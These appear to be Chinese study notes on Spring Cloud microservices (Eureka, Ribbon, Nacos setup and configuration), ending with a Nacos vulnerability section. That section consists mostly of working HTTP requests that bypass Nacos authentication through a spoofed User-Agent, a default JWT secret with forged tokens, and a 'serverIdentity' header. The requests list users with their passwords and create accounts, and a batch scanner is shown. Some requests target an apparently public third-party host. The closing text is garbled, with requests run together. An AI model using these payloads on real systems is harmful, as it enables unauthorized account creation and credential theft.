網(wǎng)站流量 名詞洛陽seo網(wǎng)絡(luò)推廣
微服務(wù)技術(shù)棧
- 一、微服務(wù) 介紹了解
- 1 架構(gòu)結(jié)構(gòu)案例
- 與 springboot 兼容關(guān)系
- 拆分案例
- 拆分
- 服務(wù)拆分-服務(wù)遠(yuǎn)程調(diào)用
- 2 eureka注冊中心
- Eureka-提供者與消費(fèi)者
- Eureka-eureka原理分析
- Eureka-搭建eureka服務(wù)
- Eureka-服務(wù)注冊
- Eureka-服務(wù)發(fā)現(xiàn)
- 3 Ribbon組件 負(fù)載均衡
- Ribbon-負(fù)載均衡原理
- Ribbon-負(fù)載均衡策略
- Ribbon-饑餓加載
- 4 nacos 阿里注冊中心
- Nacos-快速入門
- Nacos-服務(wù)多級存儲模型
- Nacos-NacosRule負(fù)載均衡
- Nacos-服務(wù)實例的權(quán)重設(shè)置
- Nacos-環(huán)境隔離
- Nacos和Eureka的對比
- Nacos實現(xiàn)配置管理
- Nacos配置管理-微服務(wù)配置拉取
- Nacos配置管理-配置熱更新
- Nacos配置管理-多環(huán)境配置共享
- Nacos配置管理-nacos集群搭建
- 安裝Nacos
- Java快速開發(fā)框架_若依——Ruoyi-SpringCloud版本-3.下載源碼并導(dǎo)入數(shù)據(jù)庫 安裝nacos
- 準(zhǔn)備工作
- 運(yùn)行系統(tǒng)
- Nacos 漏洞復(fù)現(xiàn)
- 介紹
- 未授權(quán)添加用戶
一、微服務(wù) 介紹了解
分布式架構(gòu)的一種
把服務(wù)進(jìn)行 拆分
springcloud 解決了 服務(wù)拆分過程中的 治理問題
與單體應(yīng)用 進(jìn)行區(qū)分
(單體架構(gòu) 把業(yè)務(wù)所有功能集中開發(fā),打成一個包部署)
每個模塊獨(dú)立開發(fā)和部署(服務(wù)集群)
服務(wù)之間互相調(diào)用
出現(xiàn)分布式技術(shù)
Webservice
ESB
Hession
Dubbo
異步通信 消息隊列(秒殺)
敏捷開發(fā)思想
高內(nèi)聚低耦合
微服務(wù) + 持續(xù)集成
1 架構(gòu)結(jié)構(gòu)案例
微服務(wù)方案 技術(shù)框架落地
eg springcloud + 阿里dubbo
2012 dubbo 開源 (“半吊子”微服務(wù))
2015-2017 springcloud(整合)
封裝了Feign客戶端 發(fā)http 請求 Restful接口
Spring Cloud Bus 自動通知 熱更新
實現(xiàn)了同樣的 接口規(guī)范
springcloud 模塊
- 統(tǒng)一配置管理
- 服務(wù)注冊發(fā)現(xiàn)
- 請求路由
- 服務(wù)遠(yuǎn)程調(diào)用
- 負(fù)載均衡
- 斷路
基于 springboot 自動裝配
與 springboot 兼容關(guān)系
Hoxton SR10 + boot2.3.x
拆分案例
拆分
功能模塊進(jìn)行拆分
單一職責(zé)
即 不同微服務(wù) 不重復(fù)開發(fā)相同業(yè)務(wù)
數(shù)據(jù)獨(dú)立
不要訪問其他微服務(wù)數(shù)據(jù)庫
業(yè)務(wù)接口
每個模塊將自己的業(yè)務(wù)暴露為接口,供其他服務(wù)調(diào)用
且沒法關(guān)聯(lián)查詢
將工程文件夾放到 IDE 的 工作空間
可以看到項目所有的微服務(wù)
項目結(jié)構(gòu)
父工程(主要定義了依賴版本)
數(shù)據(jù)分離
業(yè)務(wù)邏輯
返回訂單對象
符合 微服務(wù) 拆分 的單一職責(zé)
服務(wù)拆分-服務(wù)遠(yuǎn)程調(diào)用
spring的 HTTP 請求工具
用Bean的方式 把RestTemplate 注冊 為spring容器 的 對象
就可以在任何地方 以 注入的方式 來用
Bean的注入 只能放在 配置類里面
帶有 main的 啟動類 本身也是配置類
在這創(chuàng)建 RestTemplate對象
跟入 orderservice
先把 resttemplate注入進(jìn)spring 容器里來
http請求 返回 json 但在這里需要一個user對象
resttemplate 會 給讓你輸入一個 返回對象
2 eureka注冊中心
Eureka-提供者與消費(fèi)者
概念 是 業(yè)務(wù)中誰對誰而言
既可以是 提供 也可以是 消費(fèi)者
Eureka-eureka原理分析
ip 端口 是 硬編碼在 代碼中的
不方便 環(huán)境部署
集群 不好布置
注冊中心 (記錄管理微服務(wù))
Eureka-搭建eureka服務(wù)
starter -----spring boot里面的 自動裝配
注解是 eureka server 自動裝配的 開關(guān)
創(chuàng)建 maven模塊
父工程pom 已經(jīng)把 版本依賴做好了
所有組件版本信息 點(diǎn)進(jìn)去看
加個 springboot注解
psvm
加上 eureka 自動裝配的 開關(guān)注解(啟動類 上 做注解)
新建 配置文件
eureka 集群 所以 自己也將自己的 微服務(wù) 注冊
注冊到eureka 的 實例
windows 顯示的 是 計算機(jī)名 本來是 ip
Eureka-服務(wù)注冊
編輯eureka地址信息
yml文件 不許 出現(xiàn)兩個 根名稱
啟動兩個實例
-D 參數(shù)
yml 文件 內(nèi)的 server.port
實例列表
Eureka-服務(wù)發(fā)現(xiàn)
查看 order services 是 負(fù)載均衡 走的 哪個
3 Ribbon組件 負(fù)載均衡
Ribbon-負(fù)載均衡原理
LoadBalancer 標(biāo)記 攔截 實現(xiàn) http 請求 接口
接口定義的 方法名字 intercept
同樣實現(xiàn)了intercept 方法
下斷點(diǎn)
取得主機(jī)名
去 做 服務(wù)拉取
Ribbon load balamcer對象
步入 這個 execute 方法
把這個 service id 交給 getloadBanlancer處理
得到 loadbalancer 對象
動態(tài)服務(wù)列表 負(fù)載均衡器
在這個對象里面
就拉取到了 服務(wù)列表
整個步驟 根據(jù) 服務(wù)名稱 拉取 服務(wù)列表
getserver 開始負(fù)載均衡
進(jìn)入 getserver 方法
選擇 server 步入
找一個 super 父親的 選擇
走到了 rule 的 選擇
要有一個 規(guī)則 從 動態(tài) server 里 選
這個 IRule 是一個 接口I
規(guī)則接口 那就會有實現(xiàn)類
IDEA Ctrl H 查看實現(xiàn)類
比如
輪詢負(fù)載均衡
隨機(jī)
默認(rèn)規(guī)則 ZoneAvoidance
返回來了 選擇的 8081
Ribbon-負(fù)載均衡策略
IRule 接口 繼承關(guān)系 圖
ZoneAvoidance 這個 它爺爺 也是 輪詢
在 服務(wù) 注冊 時 可以 設(shè)置 zone的 值
(杭州,上海)
配置類內(nèi) 修改 規(guī)則 用 Irule 的 bean 作為 一個 對象 注入到 spring 容器
可以 實現(xiàn) Irule 各種類型
全局的
針對 某個 微服務(wù)的 配置
Ribbon-饑餓加載
創(chuàng)建 load balance Client 還要做 服務(wù)拉取
時間較長
拉取 時 創(chuàng)建了 動態(tài) serverlist load balancer 等 耗費(fèi)時間 - 懶加載
第二次 server list 會 緩存到內(nèi)存中
與 spring boot 一樣
隨著 tomcat 啟動 就完成了
springmvc 容器 的 初始化
4 nacos 阿里注冊中心
服務(wù)注冊 與發(fā)現(xiàn)
分布式 配置
8848 默認(rèn)端口
-m 模式 單啟動
Nacos-快速入門
通用 在這里 定義了 接口規(guī)范
定義了服務(wù)發(fā)現(xiàn) 與 服務(wù)注冊
Eureka 和 nacos 都要遵循 這些接口
所以 服務(wù)者 消費(fèi)者 代碼 不用變
需要 更改 依賴 和 地址
添加 父管理依賴
添加 服務(wù)注冊 啟動器依賴
添加yml 地址
Nacos-服務(wù)多級存儲模型
Nacos-NacosRule負(fù)載均衡
nacos 地區(qū) 隨機(jī) 選擇 服務(wù)
如果 本地 沒有 服務(wù) 訪問 外地 同服務(wù) 同時 警告
Nacos-服務(wù)實例的權(quán)重設(shè)置
調(diào)整成0 時 權(quán)重 , 不會被 訪問
平滑升級業(yè)務(wù)
Nacos-環(huán)境隔離
注冊中心 - 數(shù)據(jù)中心 對 服務(wù) 進(jìn)行 隔離
命名空間 - group 屬性
服務(wù)(集群)–下一級–》 實例
對實例的劃分 是 對業(yè)務(wù) 進(jìn)行的 劃分 (地域)
命名空間 是 對于 開發(fā)生產(chǎn) 測試 環(huán)境 的劃分
(比如 把 業(yè)務(wù)相似度 比較高的 服務(wù) 放在 一個 分組)
訂單—支付 放一塊
默認(rèn) public
添加 命名 空間的 ID
Nacos和Eureka的對比
會在 動態(tài)服務(wù) loadbalancer 里拉取 緩存 server 列表 周期30s
區(qū)別 在于 提供者的 健康檢測
劃分 提供者 為 臨時 實例
和非臨時實例
臨時 實例 會 直接剔除
非臨時實例 會 等待 康復(fù)
如果 提供者 掛掉了 nacos 主動 推送 變更 消息
非臨時實例 不會被 剔除掉 等待 復(fù)活
nacos 強(qiáng)調(diào) AP 數(shù)據(jù)的 可用性
CP 強(qiáng)調(diào) 可靠性 和 一致性
Nacos 配置管理 功能
Feign 聲明式遠(yuǎn)程調(diào)用 比較 Resttemplate
Nacos實現(xiàn)配置管理
配置文件 - 關(guān)聯(lián)服務(wù)重啟 - (熱更新 不用重啟 就能 配置 生效)
配置管理服務(wù) 記錄核心配置
讀取配置 結(jié)合 本地配置
DataID 服務(wù)名稱+ profile運(yùn)行環(huán)境名 dev/test/prod.yaml
模版 類型
Nacos配置管理-微服務(wù)配置拉取

去掉重復(fù)配置
用 Value 注解 讀取配置
Nacos配置管理-配置熱更新
屬性刷新
配置 自動加載 注解
定義一個 成員變量
添加 data注解 getset 方法
用 component 把這個類變成 spring 容器的 一個 bean
注入進(jìn)來 用getdateformat 獲取
Nacos配置管理-多環(huán)境配置共享
開發(fā)生產(chǎn)測試 環(huán)境 配置值 一致
另起一個 spring 測試 微服務(wù) 環(huán)境
配置文件 的 優(yōu)先級
以 userservice 為準(zhǔn)
共享 與 有環(huán)境的 以 環(huán)境為準(zhǔn)
Nacos配置管理-nacos集群搭建
nginx 有 反向代理 和 負(fù)載均衡 的 功能
粘貼到 http 的 內(nèi)部
安裝Nacos
輸入命令:
wget https://github.com/alibaba/nacos/releases/download/1.2.0/nacos-server-1.2.0.tar.gz
https://github.com/alibaba/nacos/releases
tar -zxvf nacos-server-1.4.1.tar.gz
修改配置文件,
支持mysql,修改nacos/conf/application.properties文件,
增加支持mysql數(shù)據(jù)源配置(目前只支持mysql),
添加mysql數(shù)據(jù)源的url、用戶名和密碼,
vi conf/application.properties
spring.datasource.platform=mysql### Count of DB:
db.num=1### Connect URL of DB:
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC
db.user.0=nacos
db.password.0=nacos
將java安裝包傳到/home/java中
tar zxvf 壓縮包名稱
解壓就安裝完成了,之后我們要進(jìn)行環(huán)境配置了
vi /etc/profile
export JAVA_HOME=/home/java/jdk1.8.0_231export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin
生效命令:
source /etc/profile
訪問地址為:
http://127.0.0.1:8848/nacos
啟動服務(wù)
切換到bin目錄,執(zhí)行命令:sh startup.sh -m standalone
關(guān)閉服務(wù)
切換到bin目錄,執(zhí)行命令:sh shutdown.sh
注意:
此版本必須安裝jdk1.8+版本,不然啟動時會報錯
默認(rèn)沒有開啟用戶名和密碼登錄
需要修改application.properties文件中的nacos.core.auth.enabled=true
才能開啟用戶名密碼登錄,
用戶名/密碼:nacos/nacos
Nacos 修改mysql中默認(rèn)賬號密碼
數(shù)據(jù)庫會有一個默認(rèn)用戶。
這時候默認(rèn)的用戶名是nacos nacos,這要是放到公網(wǎng)上肯定是不安全的,接下來告訴大家怎么修改。
我們新建一個springboot項目,加入一個依賴 spring-boot-starter-security ,只需要這一個就好了。
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId><version>2.1.4.RELEASE</version>
</dependency>
然后寫個類執(zhí)行以下 new BCryptPasswordEncoder().encode(“你的密碼”)就會生成新的加密過的密碼。
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;public class SetPassword {public static void main(String[] args) {System.out.println(new BCryptPasswordEncoder().encode("新密碼"));}
}
接下來就是復(fù)制密碼去數(shù)據(jù)庫替換默認(rèn)的密碼。默認(rèn)用戶是nacos 也可以修改,那個是明文的可以直接改,但是如果要修改用戶名的話,要修改roles表里用戶。
切換目錄:cd /usr/local/nacos/bin
單機(jī)模式啟動:sh startup.sh -m standalone
參考資料:
https://www.jianshu.com/p/55091f2ad6e1
https://blog.csdn.net/leaf_dai/article/details/103380851
Java快速開發(fā)框架_若依——Ruoyi-SpringCloud版本-3.下載源碼并導(dǎo)入數(shù)據(jù)庫 安裝nacos
準(zhǔn)備工作
JDK >= 1.8 (推薦1.8版本)
Mysql >= 5.7.0 (推薦5.7版本)
Redis >= 3.0
Maven >= 3.0
Node >= 10
nacos >= 1.1.0
sentinel >= 1.6.0
運(yùn)行系統(tǒng)
#后端運(yùn)行
1、前往Gitee下載頁面(https://gitee.com/y_project/RuoYi-Cloud (opens new window))
下載解壓到工作目錄
2、導(dǎo)入到Eclipse,菜單 File -> Import
然后選擇 Maven -> Existing Maven Projects,點(diǎn)擊 Next> 按鈕,
選擇工作目錄,然后點(diǎn)擊 Finish 按鈕,即可成功導(dǎo)入。
Eclipse會自動加載Maven依賴包,初次加載會比較慢(根據(jù)自身網(wǎng)絡(luò)情況而定)
3、創(chuàng)建數(shù)據(jù)庫ry-cloud并導(dǎo)入數(shù)據(jù)腳本ry_2021xxxx.sql(必須),quartz.sql(可選)
4、創(chuàng)建數(shù)據(jù)庫ry-config并導(dǎo)入數(shù)據(jù)腳本ry_config_2021xxxx.sql(必須)
https://nacos.io/zh-cn/docs/quick-start.html
https://github.com/alibaba/nacos/releases
5、配置nacos持久化,修改conf/application.properties文件,增加支持mysql數(shù)據(jù)源配置
# db mysql
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://localhost:3306/ry-config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true
db.user=root
db.password=password
啟動命令(standalone代表著單機(jī)模式運(yùn)行,非集群模式):cmd startup.cmd -m standalone
盡量 不要帶中文 打jar包 報錯
高并發(fā) -----好多 連接
高可用 ----- 一個宕機(jī) 不影響其他
每個應(yīng)用微服務(wù) ---- 開啟多個(對應(yīng)不同端口)
Nacos 漏洞復(fù)現(xiàn)
介紹
Nacos(全稱為"Naming and Configuration Service")是一個開源的動態(tài)服務(wù)發(fā)現(xiàn)、配置和服務(wù)管理平臺,由阿里巴巴集團(tuán)開源。它可以幫助開發(fā)者更好地構(gòu)建云原生應(yīng)用和微服務(wù)架構(gòu)。Nacos的主要功能和特點(diǎn)包括:1. 服務(wù)發(fā)現(xiàn)與注冊:Nacos提供了高可用的服務(wù)注冊和發(fā)現(xiàn)功能,允許開發(fā)者按需注冊、發(fā)現(xiàn)和注銷服務(wù)實例。它支持多種服務(wù)發(fā)現(xiàn)協(xié)議,如DNS、HTTP和gRPC,使得服務(wù)之間的通信更加簡單和可靠。2. 動態(tài)配置管理:Nacos允許開發(fā)者將配置信息集中管理,并支持動態(tài)刷新。通過Nacos,開發(fā)者可以輕松修改、發(fā)布和回滾配置,而無需重啟應(yīng)用程序或重新部署。3. 服務(wù)路由與負(fù)載均衡:Nacos提供了靈活的服務(wù)路由和負(fù)載均衡功能,能夠根據(jù)不同的場景和策略自動進(jìn)行請求轉(zhuǎn)發(fā)和負(fù)載均衡。4. 集群和擴(kuò)展性:Nacos支持橫向擴(kuò)展,可以構(gòu)建高可用的集群部署。開發(fā)者可以根據(jù)應(yīng)用程序的需求,靈活擴(kuò)展Nacos實例數(shù)量,以提供更高的可用性和性能。5. 健康檢查與故障轉(zhuǎn)移:Nacos能夠?qū)ψ缘姆?wù)進(jìn)行健康檢查,并自動剔除不健康的實例。在實例出現(xiàn)故障或不可用時,Nacos還能夠進(jìn)行故障轉(zhuǎn)移,保證服務(wù)的連續(xù)可用性。6. 社區(qū)支持和生態(tài)系統(tǒng):Nacos擁有活躍的開發(fā)者社區(qū)和廣泛的應(yīng)用場景。除了核心功能之外,Nacos還提供了豐富的插件和擴(kuò)展,以滿足不同應(yīng)用場景的需求。Nacos是一個開源項目,源代碼托管在GitHub上,并采用Apache License 2.0開源許可證。雖然Nacos由阿里巴巴集團(tuán)發(fā)起,但它是一個面向全球開發(fā)者社區(qū)的開源項目,并得到了全球開發(fā)者的參與和貢獻(xiàn)。
未授權(quán)添加用戶
https://mp.weixin.qq.com/s/iCMiFGQnsqqfvqhbGxZ8pQ
Nacos 是阿里巴巴推出來的一個新開源項目,是一個更易于構(gòu)建云原生應(yīng)用的動態(tài)服務(wù)發(fā)現(xiàn)、配置管理和服務(wù)管理平臺。致力于幫助發(fā)現(xiàn)、配置和管理微服務(wù)。Nacos 提供了一組簡單易用的特性集,可以快速實現(xiàn)動態(tài)服務(wù)發(fā)現(xiàn)、服務(wù)配置、服務(wù)元數(shù)據(jù)及流量管理。該漏洞發(fā)生在nacos在進(jìn)行認(rèn)證授權(quán)操作時,會判斷請求的user-agent是否為”Nacos-Server”,如果是的話則不進(jìn)行任何認(rèn)證。開發(fā)者原意是用來處理一些服務(wù)端對服務(wù)端的請求。
但是由于配置的過于簡單,并且將協(xié)商好的user-agent設(shè)置為Nacos-Server,直接硬編碼在了代碼里,導(dǎo)致了漏洞的出現(xiàn)。
并且利用這個未授權(quán)漏洞,攻擊者可以獲取到用戶名密碼等敏感信息。影響版本: Nacos <= 2.0.0-ALPHA.1查看用戶
訪問路徑,可以查看用戶列表(包含密碼)alibaba-nacos-v1-auth-bypass/nacos/v1/auth/users?pageNo=1&pageSize=100
User-Agent: Nacos-Server添加新用戶
1、訪問url2、請求改為post,把修改User-Agent頭改為“Nacos-Server”3、構(gòu)造數(shù)據(jù)包添加一個admin用戶,然后發(fā)送POST請求,返回為200,表示創(chuàng)建用戶成功4、用新賬戶密碼登錄則登錄成功漏洞修復(fù)
升級Nacos版本到最新版發(fā)送如下數(shù)據(jù)包成功創(chuàng)建用戶POST /nacos/v1/auth/users HTTP/1.1
Host: 172.16.244.174:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Length: 34username=test111&password=test1111https://www.secpulse.com/archives/199642.htmlhttps://jwt.io/#debugger-io
https://www.beijing-time.org/shijianchuo/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbWluZzExMTExMSIsImV4cCI6IjE2OTE5NTE5ODEifQ.sYrKZFyrjGpw5IHiy4aA1SVlqPxpVEeHxXhTndTyWgUPOST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4username=najcos&password=nacjos方式二:默認(rèn)未授權(quán)
發(fā)送如下數(shù)據(jù)包,成功創(chuàng)建用戶POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=test02 SecretKey012345678901234567890123456789012345678901234567890123456789發(fā)送如下數(shù)據(jù)包成功創(chuàng)建用戶
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=test03方式四:默認(rèn)頭部
發(fā)送如下數(shù)據(jù)包,成功創(chuàng)建用戶
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&password=test05GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1
Host: 172.25.0.249:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@amingpython3 Nacos_default.token.py -u [http://127.0.0.1:1111](http://127.0.0.1:1111/) 單個url測試python3 Nacos_default.token.py -a [http://127.0.0.1:1111](http://127.0.0.1:1111/) 添加用戶m2orz/zzz321..python3 Nacos_default.token.py -f url.txt 批量檢測payload1:[http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9)payload2:[http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9)掃描結(jié)束后會在當(dāng)前目錄生成存在漏洞url的vuln.txthttp://nacos.ts.taslyy.cn:3080/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9https://www.secpulse.com/archives/199642.htmlnacos nacos默認(rèn)未授權(quán)
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=amingmm123123默認(rèn)JWT-secret
nacos/conf/application.properties中設(shè)置nacos.core.auth.enabled=true開啟權(quán)限認(rèn)證POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=amingmm123123默認(rèn)頭部POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&passwordamingmm123123低版本(nacos<1.4.1)默認(rèn)白名單UA
1.在nacos/conf/application.properties中設(shè)置
nacos.core.auth.enable.userAgentAuthWhite=true開啟白名單UAhttps://www.box3.cn/tools/jwt.html
https://jwt.io/#debugger-ioPOST /nacos/v1/auth/users/login HTTP/1.1
Host: nacos.ts.taslyy.cn:3080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@aming